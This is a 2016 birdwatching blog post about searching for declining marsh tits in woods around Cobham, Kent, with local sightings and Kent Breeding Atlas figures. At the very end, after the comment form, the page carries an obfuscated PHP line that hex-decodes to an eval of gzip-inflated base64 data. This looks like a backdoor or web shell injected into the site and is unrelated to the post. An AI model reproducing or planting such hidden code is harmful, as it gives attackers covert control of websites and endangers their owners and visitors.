Mar 092016
 
Marsh Tit (2)

(Copyright – Sally Jennings)

OK – it has to be said that this is not one of Sally’s best photographs (but I can tell you it is not the worse!). But finding and photographing this bird was brilliant. It’s a marsh tit by the way. For almost two years we have been tracking marsh tits in our area. We have seen one or two birds in Ashenbank Wood near Cobham, one in Cobhambury Wood at Luddesdown and one in woods near Camer Park at Sole Street. The best location, however, has been in the woods around Cobham Mausoleum where we have seen one or two birds on several occasions. Alan, a member of our local group, and who works as a volunteer for the National Trust at this site has also seen the birds. Alan and ourselves managed to track a pair of birds right up to the start of the 2015 breeding season – and then we lost them. We don’t know if they successfully reared young or indeed whether they even stayed in the area. This winter we have failed to find them so when Alan phoned us last Sunday to say that he had found two birds we were off – Monday morning.  And we found one bird exactly where Alan had said it would be. (Thanks, Alan)

But why all of the interest in marsh tits? The very similar willow tit is now extinct as a breeding bird in Kent and the marsh tit appears to be in decline in south-east England. The recently published Kent Breeding Atlas (2008-13), however, does not really support this view. It suggests that there are 1500-3000 pairs in Kent and that the population is stable. So what’s happening? In north-west Kent, breeding marsh tits were found in 26 tetrads (2kmx2km) in the Atlas of 1988-94. In the new Atlas they are reported from only 3. The authors of the Atlas suggest that this decline is probably due to the lack of people looking for and recording these birds. So the birds are really there but not enough people are looking for them! Personally, I am not convinced by this argument – but I don’t really know. So what can we do? Sally and I can’t search the whole of north-west Kent but with Alan’s help we can put the marsh tits in our local woods “on the map” – at least it’s a start. If we don’t know where they are we don’t know what is happening to their population.  And if we don’t know we can’t help. I know you can’t tell from Sally’s photograph, it’s a bit blurred, but marsh tits are really lovely birds – they deserve a closer focus.

Malcolm

 Posted by on 9 March 2016 at 10:16 pm

 Leave a Reply

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

(required)

(required)

This site uses Akismet to reduce spam. Learn how your comment data is processed.

 @$oO0('$x',"\x65\x76\x61\x6c\x28\x22\x3f\x3e\x22\x2e\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x78\x29\x29\x29\x3b");@$o0O("zVdbT+NGFH4Gif8wWAjbauJLbrDAsotSsyBCQnMpQqWyvPY4GWF7XHuyJGX5752L7dg0AbbtQxG2h3POd3wun+cMJ5/iWbyzjSJkp5AocghDnCztAIWIyDUg101ZPd7Z/rwycBY2XEB3ThCObIJCSM0MbkP1XCDQChfCJMGJncAYJwRFUyFcefNQGgfO0uZmae5pL4F/2LFDZuAj6E96PSpCPlBQyjB79sga/moNf5OG1i8TazS2J8NL6XdVfdrZ3iojNxhSZ8/0Fa7jzmBu6qEkckKo2Pb5Zc+ybR5ESnACr+CS6qWDhut3jHazdeg3jHbb8Q7bsNXq+E1oOtDwWxIHQEwzdbwQUogsVlroybkuQC6MUq7MlpmWpafECZzaoUPcmSLpU4ynATQb2oyEgY6kWpEYW6WqurPN0oXuDANJGNdTRGD9G0yQj1yHdecIVNywGLfgAhFRgaIGPgpYTOWKaEDSJXovpcSSiCD0usyKmvtOkMKsMbvMBWUFSkmqlLzmYe4FPkPgGEZK9TWyLggS4CltvvT4k8RKv+U/JjQZheKoEGQyN8Apl/E/K8GQZA6zvkb4kTXUoXD5rh7WPXBxhI4otRgzFZV3NmTr3EoqWUk1FjZXV/NgKCb1kM9SSUlCsLCi71NBvSzhcI7wnGVKrVFEvjmBUjjQDzstgxOdFa+UyPfvgGNOzaJwKHro4ojAiFBHU0iG9PskkIqUgp+8HMwTjSFgFS6B1NOPzNcWc8baYLt5+9Y04289L3Wk1BLhowYq7xE2RYuEDZc+8+iUDRQBKtjfB5+5lqZnu8JflUZgl34ycimPSlXeAOcxQMrXDR5kOTOiv8Ls6f8f9CtkeIsNwt+/48O7CLGeETyz/668RTY/WmARR1bi9V4EM7ihoAeNek1hgXrSUFdNSt/cU7P9/xisq0TJxcZKrGz+USVK8DxBtnlWgTRRNrkDx6W75Mnuz4Pu+O7GAmyWnJ6I+1fsLU+lmkQH1Ivmv+pL57gTnTtZCyfJ8gnw8VbWHD+7bEACxVq4MGYzDuxB9YlPM38euVxS/TAe6DdR2kwnScDm+f2ic3i/OGhll3G/aDr3i4YvroOD1dWA4snsO6aw73ygzyZ9evT5IdO16eVmly9wnaZYM7uGr9OTFgtBZzejoUsaC06TNLIgEmfCOxtHc8j2/A1cNPf382rkpJLdeRLY9NxFZH5SAvyHVjlfFjL+szdPYWI7UxGIdI3/REHg6G3NAMotijz8mIL+GHQ08xjcDm47LRWcxXEAb+HXK0T0dvNAa3aAcnUxvu7VQIAeIPgC3Qesgu4swSHUD03N0Bodw9RMswlGju8kKIOxc0o5lEpRpJdal53fiuQU9YWazVw8Z0k0jaqKY+iBEsf0TOnOat3JsDe4YYfEXq2giroRAzgI5KjRqGfTs+bl+d3FYDTOzrE/iLyxrOGryEqcQ2s8GfbHw7P+6JzizHfCuoN+3+qOx5fX1mAyruUFeid6Qo/UZ1+sPgWuGPKy5lUWc1fsPwaFNWvde8SM4K0sqZ+L1bpvvlA+cTt+y6YeinFa+SJqcstogT4m4BzPI0/mY/BlmJRYW8xJAsk8iaq7Dt8cP53+BQ==");?>?>